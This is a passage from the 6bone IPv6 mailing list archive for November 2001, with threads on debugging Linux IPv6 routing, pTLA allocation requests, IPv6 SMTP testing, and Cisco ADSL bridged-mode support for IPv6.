>  1  ip6-localhost (::1)  2990.86 ms !H  2999.53 ms !H  2999.92 ms !
> 
> Routes on Woody:
> 
> Kernel IPv6 routing table
> Destination                                 Next Hop
> Flags Metric Ref    Use Iface
> ::1/128                                     ::
> U     0      0        0 lo      
> 3ffe:8271:2101:1::1/128                     ::
> U     0      8        1 lo      
> 3ffe:8271:2101:1::/64                       ::
> UA    256    594       0 eth0    

> 2000::/3                                    ::
> U     1      0        0 eth0    

The last one is the problem; effectively you're saying all addresses are
on-link, and this is better than the default route to your router box.  
Remove it and the 6bone should work just fine.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords





From 6bone-owner  Sun Nov 18 01:46:00 2001
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	 Sun, 18 Nov 2001 10:44:06 +0100
From: "NDSoftware" <extml@ndsoftware.net>
To: "'Flavio Villanustre'" <lists@geminis.myip.org>
Cc: <6bone@ISI.EDU>, <debian-ipv6@lists.debian.org>, <users@ipv6.org>
Subject: RE: ip6-localhost (::1)  2990.86 ms !H -> Why ?
Date: Sun, 18 Nov 2001 10:44:04 +0100
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> -----Original Message-----
> From: Flavio Villanustre [mailto:lists@geminis.myip.org] 
> Sent: Sunday, November 18, 2001 5:58 AM
> To: NDSoftware
> Cc: 6bone@ISI.EDU; debian-ipv6@lists.debian.org; users@ipv6.org
> Subject: Re: ip6-localhost (::1) 2990.86 ms !H -> Why ?
> 
> 
> Hi,
> 
> it looks like you have a route to 3ffe:8271:2101:1::1/128 
> pointed to your
> loopback interface:
> 
> 
> > 3ffe:8271:2101:1::1/128                    :: U     0      
> 0        0 lo      
> 
> That's odd and the cause of trouble. Just remove it and the 
> less specific 
> route to 3ffe:8271:2101:1::/64 thru eth0 will be used in your 
> traceroute.

route -A inet6 del 3ffe:8271:2101:1::1/128 dev lo
SIOCDELRT: No such process

I can't remove it.

If i add a another ip to eth0 et /128 route for lo will be created :(

Thanks
> 
> Regards,
> 
> Flavio.
> 
> 
> 
> On Sat, 17 Nov 2001, NDSoftware wrote:
> 
> > Hello,
> > 
> > I have a problem on a machine (with Linux Debian Woody).
> > I can't ping (or trace) the next router or 6bone from it.
> > 
> > 
> > Trace 6bone from Woody:
> > 
> > traceroute to 6bone.net (3ffe:b00:c18:1::10) from 
> 3ffe:8271:2101:1::1,
> > 30 hops max, 16 byte packets
> >  1  ip6-localhost (::1)  2990.86 ms !H  2999.53 ms !H  2999.92 ms !
> > 
> > Routes on Woody:
> > 
> > Kernel IPv6 routing table
> > Destination                                 Next Hop
> > Flags Metric Ref    Use Iface
> > ::1/128                                     ::
> > U     0      0        0 lo      
> > 3ffe:8271:2101:1::1/128                     ::
> > U     0      8        1 lo      
> > 3ffe:8271:2101:1::/64                       ::
> > UA    256    594       0 eth0    
> > 2000::/3                                    ::
> > U     1      0        0 eth0    
> > fe80::2d0:70ff:fe01:811b/128                ::
> > U     0      5        0 lo      
> > fe80::/10                                   ::
> > UA    256    0        0 eth0    
> > ff00::/8                                    ::
> > UA    256    0        0 eth0    
> > ::/0                                        fe80::a0:2434:1d91
> > UGDA  1024   34       0 eth0 
> > 
> > Beetween 6bone and Woody i have a router who have my IPv6 over IPv4
> > tunnel, this router work without problem and Potato (eth1) 
> connected on
> > it too. Only Woody (eth2) don't work.
> > 
> > Routes on Router:
> > 
> > Kernel IPv6 routing table
> > Destination                                 Next Hop
> > Flags Metric Ref    Use Iface
> > ::1/128                                     ::
> > U     0      4        0 lo      
> > ::10.0.0.1/128                              ::
> > U     0      0        0 lo      
> > ::10.0.2.1/128                              ::
> > U     0      0        0 lo      
> > ::10.0.10.1/128                             ::
> > U     0      0        0 lo      
> > ::62.4.18.114/128                           ::
> > U     0      0        0 lo      
> > ::62.4.22.213/128                           ::
> > U     0      0        0 lo      
> > ::127.0.0.1/128                             ::
> > U     0      0        0 lo      
> > ::/96                                       ::
> > U     256    0        0 sit0    
> > 2000::/16                                   fe80::d5ba:2246
> > UG    1      0        0 sit1    
> > 2001::/16                                   fe80::d5ba:2246
> > UG    1      0        0 sit1    
> > 2002::/16                                   fe80::d5ba:2246
> > UG    1      0        0 sit1    
> > 3ffe:8271:1000:20::1/128                    ::
> > U     0      0        0 lo      
> > 3ffe:8271:1000:20::/64                      ::
> > UA    256    0        0 eth0    
> > 3ffe:8271:1000:21::1/128                    ::
> > U     0      89080       0 lo      
> > 3ffe:8271:1000:21::/64                      ::
> > UA    256    0        0 eth1    
> > 3ffe:8271:1000:22::1/128                    ::
> > U     0      21       0 lo      
> > 3ffe:8271:1000:22::/64                      ::
> > UA    256    0        0 eth2    
> > 3ffe:8271:1000:2f::1/128                    ::
> > U     0      0        0 lo      
> > 3ffe:8271:1000:30::1/128                    3ffe:8271:1000:30::1
> > UC    0      2665       0 eth1    
> > 3ffe:8271:1000:30::/64                      ::
> > U     1      0        0 eth1    
> > 3ffe:8271:1000:3f::/64                      ::
> > U     1      0        0 eth1    
> > 3ffe:8271:10ff:11::2/128                    ::
> > U     0      2162       0 lo      
> > 3ffe:8271:10ff:11::/64                      ::
> > UA    256    18       1 sit1    
> > 3ffe:8271:2101:1::/64                       ::
> > U     1      0        0 eth2    
> > 3ffe::/16                                   fe80::d5ba:2246
> > UG    1      312       0 sit1    
> > fe80::a00:1/128                             ::
> > U     0      0        0 lo      
> > fe80::a00:201/128                           ::
> > U     0      0        0 lo      
> > fe80::a00:a01/128                           ::
> > U     0      0        0 lo      
> > fe80::3e04:1272/128                         ::
> > U     0      0        0 lo      
> > fe80::3e04:16d5/128                         ::
> > U     0      0        0 lo      
> > fe80::10:4b44:56cc/128                      ::
> > U     0      0        0 lo      
> > fe80::60:9795:cc55/128                      ::
> > U     0      7082       0 lo      
> > fe80::a0:2434:1d91/128                      ::
> > U     0      5        0 lo      
> > fe80::/10                                   ::
> > UA    256    0        0 eth0    
> > fe80::/10                                   ::
> > UA    256    0        0 eth1    
> > fe80::/10                                   ::
> > UA    256    0        0 eth2    
> > fe80::/10                                   ::
> > UA    256    0        0 sit1    
> > ff02::1/128                                 ff02::1
> > UAC   0      1        1 eth2    
> > ff00::/8                                    ::
> > UA    256    0        0 eth0    
> > ff00::/8                                    ::
> > UA    256    0        0 eth1    
> > ff00::/8                                    ::
> > UA    256    0        0 eth2    
> > ff00::/8                                    ::
> > UA    256    0        0 sit1 
> > 
> > 
> > Trace Woody from router:
> > 
> > traceroute6 to 3ffe:8271:2101:1::1 (3ffe:8271:2101:1::1) from
> > 3ffe:8271:1000:22::1, 30 hops max, 16 byte packets
> >  1  ip6-localhost (::1)  3004.78 ms !H  3000.65 ms !H  2999.21 ms !H
> > 
> > Trace Potato from router:
> > 
> > traceroute6 to 3ffe:8271:1000:30::1 (3ffe:8271:1000:30::1) from
> > 3ffe:8271:1000:21::1, 30 hops max, 16 byte packets
> >  1  3ffe:8271:1000:30::1 (3ffe:8271:1000:30::1)  2.279 ms  2.13 ms
> > 1.968 ms
> > 
> > With tcpdump i have get this:
> > 21:38:02.882404 3ffe:8271:1000:22::1 > ff02::1:0:1: icmp6: 
> neighbor sol:
> > who has 3ffe:8271:2101:1::1
> > 21:38:03.882226 3ffe:8271:1000:22::1 > ff02::1:0:1: icmp6: 
> neighbor sol:
> > who has 3ffe:8271:2101:1::1
> > 
> > Router: Linux 2.2.19 Debian Potato
> > Potato: Linux 2.2.19 Debian Potato
> > Woody: Linux 2.4.13 Debian Woody
> > All machines have last updates.
> > 
> > Who can help me ?
> > Any help are Welcome !!!!
> > 
> > How i can fix this problem ?
> > 
> > Thanks very very much,
> > 
> > Best Regards,
> > 
> > Nicolas
> > 
> 
> 


From 6bone-owner  Sun Nov 18 04:40:23 2001
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Date: Sun, 18 Nov 2001 09:39:16 -0300 (ART)
From: Flavio Villanustre <lists@geminis.myip.org>
To: NDSoftware <extml@ndsoftware.net>
cc: <6bone@ISI.EDU>, <debian-ipv6@lists.debian.org>, <users@ipv6.org>
Subject: RE: ip6-localhost (::1)  2990.86 ms !H -> Why ?
In-Reply-To: <000701c17015$90876120$0104010a@localnet.ndsoftware.net>
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On Sun, 18 Nov 2001, NDSoftware wrote:

Don't use the "route" command. It's deprecated and has been replaced by 
"ip" command:

/sbin/ip -f inet6 route del xxxxxxxxx/yy dev zzz

Regards,

Flavio.

> 
> route -A inet6 del 3ffe:8271:2101:1::1/128 dev lo
> SIOCDELRT: No such process
> 
> I can't remove it.
> 
> If i add a another ip to eth0 et /128 route for lo will be created :(
> 
> Thanks


From 6bone-owner  Sun Nov 18 11:57:18 2001
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	Sun, 18 Nov 2001 21:56:17 +0200
Date: Sun, 18 Nov 2001 21:56:17 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: NDSoftware <extml@ndsoftware.net>
cc: <linux-net@vger.kernel.org>, <6bone@ISI.EDU>,
        <debian-ipv6@lists.debian.org>, <users@ipv6.org>
Subject: RE: ip6-localhost (::1)  2990.86 ms !H -> Why ?
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On Sun, 18 Nov 2001, Pekka Savola wrote:
> On Sun, 18 Nov 2001, NDSoftware wrote:
> 
> Ok, these pings look sane.

The problem here was very probably that:

1) router (2.2.x kernel) had been configured with:

CONFIG_IPV6

2) woody (2.4.x) kernel had been configured with: [didn't work]

CONFIG_IPV6
 which for 2.4.x, x > 4 or so, effectively means:
CONFIG_IPV6_EUI64
CONFIG_IPV6_NO_PB

3) potato (2.2.18) kernel had been configured with:

CONFIG_IPV6
CONFIG_IPV6_EUI64 (possibly)

So, in effect the router was only using provider-based addresses, and 
PB addressing had been removed from Woody as obsolete.  Potato was still 
working because the support appears to have not been removed yet.

The problem could be noted by checking which solicited-node multicast 
addresses had been joined (netstat -g).

Rebooting 'router' to a kernel with EUI64 support fixed the problem.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From 6bone-owner  Mon Nov 19 07:54:13 2001
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Date: Mon, 19 Nov 2001 07:54:10 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for OXYGEN - review closes 3 December 2001
Cc: "BUGRA GUMUS" <bugra.gumus@o2.com.tr>
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6bone Folk,

OXYGEN has requested a pTLA allocation. The open review period for this 
will close 3 December 2001. Please send your comments to me or the list.


Thanks,

Bob

===
>Subject: pTLA for OXYGEN
>To: fink@es.net
>Cc: ipv6@o2.net.tr
>From: "BUGRA GUMUS" <bugra.gumus@o2.com.tr>
>Date: Mon, 19 Nov 2001 13:33:37 +0200
>
>Hi Bob,
>
>We would like to apply for a pTLA allocation:
>
>1. We have been operational since April 2001
>
>a) ipv6-site: OXYGEN
>
>b) tunnel: IPv6 in IPv4 ipv6-gw.ipv6.o2.net.tr ->
>sl-bb1-6bone.sprintlink.net SPRINT STATIC
>     tunnel: IPv6 in IPv4 ipv6-gw.ipv6.o2.net.tr -> rap.viagenie.qc.ca
>VIAGENIE BGP4+
>
>
>c) nameserver is ns1.o2.net.tr
>
>d) www.ipv6.o2.net.tr   (3ffe:2900:a00d:1::2)
>
>2. We are TR based ISP, We have ethernet connection to our IPv6 servers and
>we are at same location with our IPv6 servers. We have software development
>team ; and we want to develop IPv6 applications as well. You can see our
>products at www.o2.com.tr web page.
>
>a) We have three people registered in the database as contacts for ipv6
>related  queries.
>
>b) ipv6@o2.net.tr  common mailbox of us.
>
>3. Our brother company TELSIM GSM A.S is one of the biggest GSM company of
>TURKEY ; for GPRS test purposes they will request IPv6 addresses over us.
>And
>We want to deploy 3G services all over TURKEY.
>
>4. The pTLA Applicant MUST commit to abide by the current 6Bone operational
>rules and policies as they exist at time of its application, and agree to
>abide by future 6Bone backbone operational rules and policies as they
>evolve by consensus of the 6Bone backbone and user community.
>
>We commit any current and any future 6Bone operational rules and policies.
-end


From 6bone-owner  Mon Nov 19 14:30:33 2001
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From: "Bradley D. Rhoades" <bdrhoad@badroads.iaces.com>
Message-Id: <200111192231.fAJMV4s01021@badroads.iaces.com>
Subject: Native IPv6 SMTP testing.
To: 6bone@ISI.EDU
Date: Mon, 19 Nov 2001 16:31:04 -0600 (CST)
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	I tried searching for this info in the 6bone archives, but the 
	search tool is broken (http://www.wcug.wwu.edu/lists/6bone).

	I have configured my system to support inet and inet6 smtp connections.
	I am hoping to do some very simple email exchanges with a few sites to
	verify basic functionality.

	If your interested, drop me a note.

	Thanks,

	Brad

From 6bone-owner  Tue Nov 20 03:34:07 2001
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From: Flavio Villanustre <lists@geminis.myip.org>
To: "Bradley D. Rhoades" <bdrhoad@badroads.iaces.com>
cc: <6bone@ISI.EDU>
Subject: Re: Native IPv6 SMTP testing.
In-Reply-To: <200111192231.fAJMV4s01021@badroads.iaces.com>
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Interested!

What about distribution of 6bone mailing list thru ipv6 smpt?

Regards,

Flavio.

On Mon, 19 Nov 2001, Bradley D. Rhoades wrote:

> 
> 	I tried searching for this info in the 6bone archives, but the 
> 	search tool is broken (http://www.wcug.wwu.edu/lists/6bone).
> 
> 	I have configured my system to support inet and inet6 smtp connections.
> 	I am hoping to do some very simple email exchanges with a few sites to
> 	verify basic functionality.
> 
> 	If your interested, drop me a note.
> 
> 	Thanks,
> 
> 	Brad
> 


From 6bone-owner  Tue Nov 20 06:49:45 2001
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Date: Tue, 20 Nov 2001 14:48:26 +0000
From: Paul Aitken <paitken@cisco.com>
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To: Chuck Yerkes <chuck@snew.com>
CC: 6bone@ISI.EDU
Subject: Re: IOS for 2500
References: <003001c16dd6$d222a7c0$5f01a8c0@Mithrandir> <3BF3CB6F.91F6A80B@cisco.com> <20011119201119.A8478@snew.com>
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Chuck Yerkes wrote:
> 
> How about an image for the 2500 that doesn't have that crufty
> old IPv4 stuff?
> 
> Just a nice clean IPv6 image.

Chuck,

Given the choice of adding new IPv6 features or removing old IPv4 ones,
which would you chose? Right now our top priority is to impliment all
the IPv6 features that our customers want. After all, we can hardly make
a selling point of "less IPv4 features!", can we? ;)

I'm sure that IPv6 only (or more likely, IPv6-mostly) routers will
emerge in the fullness of time. However, I would be very surprised if
the 2500 platform were the target for such a project.

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX

From 6bone-owner  Tue Nov 20 15:06:54 2001
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Date: Tue, 20 Nov 2001 20:07:18 -0300 (ART)
From: Flavio Villanustre <lists@geminis.myip.org>
To: <6bone@ISI.EDU>
Subject: New 6bone web ring
Message-ID: <Pine.LNX.4.33.0111202001550.1962-100000@geminis.myip.org>
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People,

I've just created an ipv6 web ring dedicated mainly to IPv6 only sites 
though dual IPv4/IPv6 could also fit.

This web ring can be a good workaround until internet search engines begin 
supporting IPv6 only sites. It can be a simple/free way of getting sites 
linked to each other to simplify location of IPv6 only sites.

For those interested to add their site to it please see:

http://s.webring.com/hub?ring=6bone&id=1&hub

or

http://flavio.acme.com

Regards,

Flavio.


From 6bone-owner  Tue Nov 20 16:35:29 2001
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From: Flavio Villanustre <lists@geminis.myip.org>
To: "Bradley D. Rhoades" <bdrhoad@badroads.iaces.com>
cc: <6bone@ISI.EDU>
Subject: Re: Native IPv6 SMTP testing.
In-Reply-To: <200111192231.fAJMV4s01021@badroads.iaces.com>
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Could you test sending an e-mail to flavio@flavio.acme.com? It's an IPv6 
only SMTP server...

Regards,

Flavio.

On Mon, 19 Nov 2001, Bradley D. Rhoades wrote:

> 
> 	I tried searching for this info in the 6bone archives, but the 
> 	search tool is broken (http://www.wcug.wwu.edu/lists/6bone).
> 
> 	I have configured my system to support inet and inet6 smtp connections.
> 	I am hoping to do some very simple email exchanges with a few sites to
> 	verify basic functionality.
> 
> 	If your interested, drop me a note.
> 
> 	Thanks,
> 
> 	Brad
> 


From 6bone-owner  Wed Nov 21 02:51:47 2001
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From: Flavio Villanustre <lists@geminis.myip.org>
To: John Comeau <jcomeau@dialtone.com>
cc: <6bone@ISI.EDU>
Subject: Re: Native IPv6 SMTP testing.
In-Reply-To: <3BFB226F.80BC6B33@dialtone.com>
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Yes, my mistake. Changed the list of local domains to add flavio.acme.com 
and went out, without restarting sendmail :-(

One of those thinks that make me feel stupid... Please, could you try 
again? It's fixed now, promised!

Thanks and regards,

Flavio.


On Tue, 20 Nov 2001, John Comeau wrote:

> No joy, check sendmail.cw or equivalent on your system...
> 
> The garbage below is due to lag times, I didn't wait for the echo before starting to type the next line... - jc
> 
> [root@ipv6 /root]# telnet6 flavio.acme.com 25
> Trying 3ffe:b80:36b:1:2a0:c9ff:fece:2fd6...
> Connected to flavio.acme.com.
> Escape character is '^]'.
> helop220 localhost.localdomain ESMTP Sendmail 8.11.6/8.11.6; Wed, 21 Nov 2001 00:37:42 -0300
>  ipv6
> 250 localhost.localdomain Hello ns.ipv6.dialtone.com [2002:d857:dff0::1], pleased to meet you
> mail from: root@ipv6.dialtone.com
> rcpt to: 250 2.1.0 root@ipv6.dialtone.com... Sender ok
> flavio@flavio.acme.com
> 550 5.7.1 flavio@flavio.acme.com... Relaying denied
> quit
> 221 2.0.0 localhost.localdomain closing connection
> Connection closed by foreign host. 
> 
> Flavio Villanustre wrote:
> > 
> > Could you test sending an e-mail to flavio@flavio.acme.com? It's an IPv6
> > only SMTP server...
> > 
> > Regards,
> > 
> > Flavio.
> > 
> > On Mon, 19 Nov 2001, Bradley D. Rhoades wrote:
> > 
> > >
> > >       I tried searching for this info in the 6bone archives, but the
> > >       search tool is broken (http://www.wcug.wwu.edu/lists/6bone).
> > >
> > >       I have configured my system to support inet and inet6 smtp connections.
> > >       I am hoping to do some very simple email exchanges with a few sites to
> > >       verify basic functionality.
> > >
> > >       If your interested, drop me a note.
> > >
> > >       Thanks,
> > >
> > >       Brad
> > >
> 
> 


From 6bone-owner  Wed Nov 21 17:34:48 2001
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Message-ID: <003601c172f5$072b0b60$26a9900a@chttl.com.tw>
From: "Yann-Ju Chu" <yjchui@cht.com.tw>
To: "6Bone" <6bone@ISI.EDU>
Subject: ADSL with IPv6
Date: Thu, 22 Nov 2001 09:28:45 +0800
MIME-Version: 1.0
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This is a multi-part message in MIME format.

------=_NextPart_000_0033_01C17338.150B27E0
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

Hi:=20
    I am trying IPv6 over ADSL. I use fixed line (not dial-up), so PPPoE =
or PPPoA is not neccessary. Besides, ATU-R is set to bridged mode. The =
interface between host and ATU-R is ethernet.


host <---> ATU-R <---> DLAM <----> ATM switch <---> router


     Instinctively, I think it will work for both IPv4 and IPv6. =
(Becasue it only deal with Ethernet layer) However, it does not. I debug =
the condition and find that the problem MAY BE caused by router. Does =
anyone ever try similar test? Because I use Cisco router (7206), does =
any one know if Cisco support ATM bridge mode with IPv6?

Thanks
Yann-Ju Chu

------=_NextPart_000_0033_01C17338.150B27E0
Content-Type: text/html;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dbig5">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DMingLiu size=3D2>Hi: </FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>&nbsp;&nbsp;&nbsp; I am =
trying IPv6 over ADSL. I use=20
fixed line (not dial-up), so PPPoE or PPPoA is not neccessary. Besides, =
ATU-R is=20
set to bridged mode. The interface between host and ATU-R is=20
ethernet.</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>host &lt;---&gt; ATU-R =
&lt;---&gt; DLAM &lt;----&gt;=20
ATM switch &lt;---&gt; router</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>&nbsp;&nbsp;&nbsp;&nbsp; =
Instinctively, I think it=20
will work for both IPv4 and IPv6. (Becasue it only deal with Ethernet=20
layer)&nbsp;However, it does not. I debug the condition and find that =
the=20
problem MAY BE caused by router. Does anyone ever try similar test? =
Because I=20
use Cisco router (7206), does any one know if Cisco support ATM bridge =
mode with=20
IPv6?</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>Yann-Ju =
Chu</FONT></DIV></BODY></HTML>

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From 6bone-owner  Wed Nov 21 20:56:49 2001
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Subject: RE: ADSL with IPv6
Date: Wed, 21 Nov 2001 20:57:10 -0800
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Yann-Ju Chu" <yjchui@cht.com.tw>, "6Bone" <6bone@ISI.EDU>
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There are some obscure Cisco issues with bridging mode atm. Instead of
Ethernet,  you should enable IRB and use a BVI interface.
However, it appears that the command you might need (bridge x route
ipv6) is not implemented yet; I run 12.2(2)T.
 
When everything else has failed, open a TAC case¡K..
 
Config might look like this:
 
Ipv6 unicast-routing
 
Bridge irb
 
Inte f0/0
No ip add
Bridge-group 1
 
Inte atm5/0
Pvc xx/x
Bridge-group 1
 
Inte bvi 1
Ip add x.x.x.x x.x.x.x
Ipv6 add xx:xx::/xx
 
Bridge 1 protocol ieee
Bridge 1 route ipv6  <== this does not exist yet.
 
Michel.
 
 
-----Original Message-----
From: Yann-Ju Chu [mailto:yjchui@cht.com.tw]
Sent: Wednesday, November 21, 2001 5:29 PM
To: 6Bone
Subject: ADSL with IPv6
 
Hi: 
    I am trying IPv6 over ADSL. I use fixed line (not dial-up), so PPPoE
or PPPoA is not neccessary. Besides, ATU-R is set to bridged mode. The
interface between host and ATU-R is ethernet.
 
 
host <---> ATU-R <---> DLAM <----> ATM switch <---> router
 
 
     Instinctively, I think it will work for both IPv4 and IPv6.
(Becasue it only deal with Ethernet layer) However, it does not. I debug
the condition and find that the problem MAY BE caused by router. Does
anyone ever try similar test? Because I use Cisco router (7206), does
any one know if Cisco support ATM bridge mode with IPv6?
 
Thanks
Yann-Ju Chu

From 6bone-owner  Thu Nov 22 03:03:21 2001
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Date: Thu, 22 Nov 2001 12:03:39 +0100
To: "Yann-Ju Chu" <yjchui@cht.com.tw>
From: Patrick Grossetete <pgrosset@cisco.com>
Subject: Re: ADSL with IPv6
Cc: "6Bone" <6bone@ISI.EDU>
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         Hi,

         ATM RFC 1483 Bridged mode on a Cisco router is either configured 
using a BVI interface, either RBE mode
(see http://www.cisco.com/warp/public/794/routed_bridged_encap.html).
None of them support IPv6 on the current FCS IOS release. We don't intend 
to support IPv6 over BVI interfaces.
You may want to contact us directly for future feature.

Regards
Patrick


At 09:28 AM 22-11-01 +0800, Yann-Ju Chu wrote:
>Hi:
>     I am trying IPv6 over ADSL. I use fixed line (not dial-up), so PPPoE 
> or PPPoA is not neccessary. Besides, ATU-R is set to bridged mode. The 
> interface between host and ATU-R is ethernet.
>
>
>host <---> ATU-R <---> DLAM <----> ATM switch <---> router
>
>
>      Instinctively, I think it will work for both IPv4 and IPv6. (Becasue 
> it only deal with Ethernet layer) However, it does not. I debug the 
> condition and find that the problem MAY BE caused by router. Does anyone 
> ever try similar test? Because I use Cisco router (7206), does any one 
> know if Cisco support ATM bridge mode with IPv6?
>
>Thanks
>Yann-Ju Chu

____________________________________________
Patrick Grossetete
Cisco Systems
Internet Technology Division (ITD) - Product Manager

Phone/Vmail: 33.1.58.04.61.52
Fax: 33.1.58.04.61.00
mobile: 33.6.89.10.81.28
Email:pgrosset@cisco.com
11 Rue Camille Desmoulins
92782 Issy les Moulineaux Cedex 9
France
____________________________________________ 
--=====================_88487257==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Hi,<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>ATM RFC
1483 Bridged mode on a Cisco router is either configured using a BVI
interface, either RBE mode<br>
(see
<a href="http://www.cisco.com/warp/public/794/routed_bridged_encap.html" eudora="autourl">http://www.cisco.com/warp/public/794/routed_bridged_encap.</a><a href="http://www.cisco.com/warp/public/794/routed_bridged_encap.html" eudora="autourl">html</a>).<br>
None of them support IPv6 on the current FCS IOS release. We don't intend
to support IPv6 over BVI interfaces.<br>
You may want to contact us directly for future feature.<br>
<br>
Regards<br>
Patrick<br>
<br>
<br>
At 09:28 AM 22-11-01 +0800, Yann-Ju Chu wrote:<br>
<blockquote type=cite cite><font size=2>Hi: </font><br>
<font size=2>&nbsp;&nbsp;&nbsp; I am trying IPv6 over ADSL. I use fixed
line (not dial-up), so PPPoE or PPPoA is not neccessary. Besides, ATU-R
is set to bridged mode. The interface between host and ATU-R is
ethernet.</font><br>
&nbsp;<br>
&nbsp;<br>
<font size=2>host &lt;---&gt; ATU-R &lt;---&gt; DLAM &lt;----&gt; ATM
switch &lt;---&gt; router</font><br>
&nbsp;<br>
&nbsp;<br>
<font size=2>&nbsp;&nbsp;&nbsp;&nbsp; Instinctively, I think it will work
for both IPv4 and IPv6. (Becasue it only deal with Ethernet layer)
However, it does not. I debug the condition and find that the problem MAY
BE caused by router. Does anyone ever try similar test? Because I use
Cisco router (7206), does any one know if Cisco support ATM bridge mode
with IPv6?</font><br>
&nbsp;<br>
<font size=2>Thanks</font><br>
<font size=2>Yann-Ju Chu</font></blockquote><br>
<div>____________________________________________</div>
<div>Patrick Grossetete </div>
<div>Cisco Systems</div>
<div>Internet Technology Division (ITD) - Product Manager</div>
<div><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab></div>
<div>Phone/Vmail:
33.1.58.04.61.52<x-tab>&nbsp;&nbsp;&nbsp;</x-tab></div>
<div>Fax: 33.1.58.04.61.00<x-tab>&nbsp;&nbsp;&nbsp;</x-tab></div>
<div>mobile:
33.6.89.10.81.28<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab></div>
<div>Email:pgrosset@cisco.com<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab></div>
<div>11 Rue Camille Desmoulins</div>
<div>92782 Issy les Moulineaux Cedex 9</div>
<div>France</div>
____________________________________________
</html>

--=====================_88487257==_.ALT--


From 6bone-owner  Thu Nov 22 11:19:43 2001
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Date: Thu, 22 Nov 2001 09:20:03 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Patrick Grossetete <pgrosset@cisco.com>
cc: Yann-Ju Chu <yjchui@cht.com.tw>, 6Bone <6bone@ISI.EDU>
Subject: Re: ADSL with IPv6
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On Thu, 22 Nov 2001, Patrick Grossetete wrote:

>          ATM RFC 1483 Bridged mode on a Cisco router is either configured
> using a BVI interface, either RBE mode
> (see http://www.cisco.com/warp/public/794/routed_bridged_encap.html).
> None of them support IPv6 on the current FCS IOS release. We don't intend
> to support IPv6 over BVI interfaces.

If not over BVI interfaces then how about IPv6 over RBE?


From 6bone-owner  Sun Nov 25 16:31:03 2001
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Date: Sun, 25 Nov 2001 16:31:24 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:82C0::/28 allocated to NC-REN
Cc: Alan Halachmi <alan@halachmi.net>, Bill Manning <bmanning@ISI.EDU>
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NC-REN has been allocated pTLA 3FFE:82C0::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?NC-REN>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Thu Nov 29 08:56:11 2001
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Date: Thu, 29 Nov 2001 08:13:01 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for LDCOM - review closes 13 December 2001
Cc: "Bergfeld, Vladimir" <Vladimir.Bergfeld@ldcom.fr>
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6bone Folk,

LDCOM has requested a pTLA allocation. The open review period for this will 
close 13 December 2001. Please send your comments to me or the list.


Thanks,

Bob

===
>From: "Bergfeld, Vladimir" <Vladimir.Bergfeld@ldcom.fr>
>To: "'fink@es.net'" <fink@es.net>
>Subject: pTLA request from LDCOM Networks (FR)
>Date: Thu, 29 Nov 2001 16:49:52 +0100
>
>Hi,
>
>I'm Vladimir Bergfeld, from LDCOM Networks, an european facilities-based
>provider of broadband infrastructure and services
>(http://www.ldcomnetworks.com/index_en.htm). We would like to request a pTLA
>on the 6Bone to continue our experimentation and provide experimental IPv6
>services in France.
>
>Here is how we comply with the RFC 2772.
>
>
>1. The pTLA Applicant must have a minimum of three (3) months
